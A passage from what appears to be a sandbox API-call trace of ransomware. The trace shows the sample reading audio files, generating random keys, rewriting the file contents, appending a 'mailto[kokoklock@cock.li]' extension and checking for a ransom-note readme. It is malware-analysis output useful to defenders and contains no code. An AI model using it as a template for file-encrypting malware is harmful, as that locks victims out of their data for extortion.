lpNumberOfBytesWritten=0x189ffc34, lpOverlapped=0x0 | out: lpBuffer=0x3053fd8*, lpNumberOfBytesWritten=0x189ffc34*=0x20, lpOverlapped=0x0) returned 1 [0173.253] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fd8) returned 1 [0173.253] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.253] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053f38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x189ffc48, lpOverlapped=0x0 | out: lpBuffer=0x3053f38*, lpNumberOfBytesWritten=0x189ffc48*=0x8, lpOverlapped=0x0) returned 1 [0173.253] WriteFile (in: hFile=0x5d0, lpBuffer=0x189ffc60*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x189ffc48, lpOverlapped=0x0 | out: lpBuffer=0x189ffc60*, lpNumberOfBytesWritten=0x189ffc48*=0x4, lpOverlapped=0x0) returned 1 [0173.253] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x189ffc48, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x189ffc48*=0x4, lpOverlapped=0x0) returned 1 [0173.253] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x189ffc48, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x189ffc48*=0x6c, lpOverlapped=0x0) returned 1 [0173.253] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053fb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x189ffc48, lpOverlapped=0x0 | out: lpBuffer=0x3053fb0*, lpNumberOfBytesWritten=0x189ffc48*=0x20, lpOverlapped=0x0) returned 1 [0173.253] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x189ffc48, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x189ffc48*=0x4, lpOverlapped=0x0) returned 1 [0173.253] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0173.253] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0173.254] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053f38) returned 1 [0173.254] CloseHandle (hObject=0x5d0) returned 1 [0173.254] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc4760 [0173.254] wcscpy (in: _Dest=0x2fc4760, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731" [0173.254] wcscat (in: _Dest=0x2fc4760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.254] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.255] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.255] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4760) returned 1 [0173.255] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.255] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x76) returned 0x2f8b410 [0173.255] wcscpy (in: _Dest=0x2f8b410, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" [0173.255] wcscat (in: _Dest=0x2f8b410, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt" [0173.255] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\d0e731-readme.txt")) returned 0x20 [0173.256] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b410) returned 1 [0173.256] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f919d0) returned 1 [0173.256] RtlExitUserThread (Status=0x1) Thread: id = 2101 os_tid = 0x11bc [0173.257] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\siv7.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.257] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.257] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\siv7.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0 [0173.257] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x18a7f840 | out: lpFileSize=0x18a7f840*=36365) returned 1 [0173.257] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x8e09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.257] ReadFile (in: hFile=0x5d0, lpBuffer=0x18a7f814, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18a7f810, lpOverlapped=0x0 | out: lpBuffer=0x18a7f814*, lpNumberOfBytesRead=0x18a7f810*=0x4, lpOverlapped=0x0) returned 1 [0173.259] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.259] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e20 [0173.259] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0173.259] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053f38 [0173.259] NtQuerySystemTime (in: CurrentTime=0x18a7f7ec | out: CurrentTime=0x18a7f7ec*=132121213305764579) returned 0x0 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0xc95bd0b1 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x4e4a7908 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0xe948c83f [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x4ea8b6b0 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x550ebd2a [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x4663355a [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x2f33ca98 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0xed339581 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x9acab7e0 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x848d55ed [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x82950d36 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x2dd9440 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x75fe7321 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x7a9563cc [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0xc0b924f9 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x5838546e [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x73c0e52f [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x3fed59c2 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x8815a96c [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x792e3050 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0xda3933ab [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0xf7ddacb7 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0xfa99789 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x40961367 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0xae0f6387 [0173.259] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0xda6a4378 [0173.260] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0xac5f03c0 [0173.260] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0xbc1acae6 [0173.260] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0xa42cff08 [0173.260] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0xc2a4247f [0173.260] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x69204193 [0173.260] RtlRandom (in: Seed=0x18a7f7f8 | out: Seed=0x18a7f7f8) returned 0x61e4d854 [0173.269] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0173.272] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30133c8 [0173.272] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053f60 [0173.272] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133c8) returned 1 [0173.272] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e20) returned 1 [0173.272] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.272] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.272] ReadFile (in: hFile=0x5d0, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x18a7f7c4, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x18a7f7c4*=0x4096, lpOverlapped=0x0) returned 1 [0173.273] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87308 [0173.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.273] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.273] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.273] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.273] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.273] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87308) returned 1 [0173.273] WriteFile (in: hFile=0x5d0, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x18a7f7c4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x18a7f7c4*=0x4096, lpOverlapped=0x0) returned 1 [0173.274] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.274] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x8e0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.274] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053fd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18a7f7fc, lpOverlapped=0x0 | out: lpBuffer=0x3053fd8*, lpNumberOfBytesWritten=0x18a7f7fc*=0x20, lpOverlapped=0x0) returned 1 [0173.274] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fd8) returned 1 [0173.274] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.274] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053f60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18a7f810, lpOverlapped=0x0 | out: lpBuffer=0x3053f60*, lpNumberOfBytesWritten=0x18a7f810*=0x8, lpOverlapped=0x0) returned 1 [0173.274] WriteFile (in: hFile=0x5d0, lpBuffer=0x18a7f828*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18a7f810, lpOverlapped=0x0 | out: lpBuffer=0x18a7f828*, lpNumberOfBytesWritten=0x18a7f810*=0x4, lpOverlapped=0x0) returned 1 [0173.274] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18a7f810, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x18a7f810*=0x4, lpOverlapped=0x0) returned 1 [0173.275] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18a7f810, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x18a7f810*=0x6c, lpOverlapped=0x0) returned 1 [0173.275] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053fb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18a7f810, lpOverlapped=0x0 | out: lpBuffer=0x3053fb0*, lpNumberOfBytesWritten=0x18a7f810*=0x20, lpOverlapped=0x0) returned 1 [0173.275] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18a7f810, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x18a7f810*=0x4, lpOverlapped=0x0) returned 1 [0173.275] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0173.275] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0173.275] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053f60) returned 1 [0173.275] CloseHandle (hObject=0x5d0) returned 1 [0173.275] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4760 [0173.275] wcscpy (in: _Dest=0x2fc4760, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731" [0173.275] wcscat (in: _Dest=0x2fc4760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.275] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\siv7.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\siv7.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.276] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.276] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4760) returned 1 [0173.276] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.276] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x76) returned 0x2f8b410 [0173.276] wcscpy (in: _Dest=0x2f8b410, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" [0173.276] wcscat (in: _Dest=0x2f8b410, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt" [0173.276] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\iyh3sxdklqkem52ms\\d0e731-readme.txt")) returned 0x20 [0173.276] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b410) returned 1 [0173.276] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91a80) returned 1 [0173.276] RtlExitUserThread (Status=0x1) Thread: id = 2102 os_tid = 0x11c0 [0173.280] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\9k1ysq099gefj.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.281] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.281] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\9k1ysq099gefj.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0 [0173.281] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x18affba0 | out: lpFileSize=0x18affba0*=17504) returned 1 [0173.281] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x445c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.281] ReadFile (in: hFile=0x5d0, lpBuffer=0x18affb74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18affb70, lpOverlapped=0x0 | out: lpBuffer=0x18affb74*, lpNumberOfBytesRead=0x18affb70*=0x4, lpOverlapped=0x0) returned 1 [0173.282] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.282] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e20 [0173.282] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0173.282] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053f60 [0173.282] NtQuerySystemTime (in: CurrentTime=0x18affb4c | out: CurrentTime=0x18affb4c*=132121213305920844) returned 0x0 [0173.282] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x1b406a89 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0xf55087cb [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x3eae04e7 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0xe4dcee4e [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x4ee7e87d [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x617c8eb [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0xc3354349 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0xca92e0db [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x46b1be8 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x562a29a8 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0xffe918cf [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0xcd1bf65c [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x78368a74 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0xa854d475 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x1c9a1a7a [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0xf4ef5a93 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x38de6d7c [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x1f05073e [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x734fea0b [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x260157da [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0xe491a617 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x99ba819f [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0xa7eeaf30 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x6ec07977 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x2f2fb6b0 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0xfaf6d150 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x8d7712b6 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0xb34554aa [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0xcd2686e3 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0xb06a5daf [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x9e846845 [0173.283] RtlRandom (in: Seed=0x18affb58 | out: Seed=0x18affb58) returned 0x8f737a3f [0173.292] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0173.294] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30133c8 [0173.294] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053f88 [0173.294] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133c8) returned 1 [0173.294] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e20) returned 1 [0173.294] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.294] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.294] ReadFile (in: hFile=0x5d0, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x18affb24, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x18affb24*=0x4096, lpOverlapped=0x0) returned 1 [0173.295] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.295] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87308 [0173.295] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.295] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.295] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.295] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.295] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.295] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.296] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.296] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.296] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87308) returned 1 [0173.296] WriteFile (in: hFile=0x5d0, 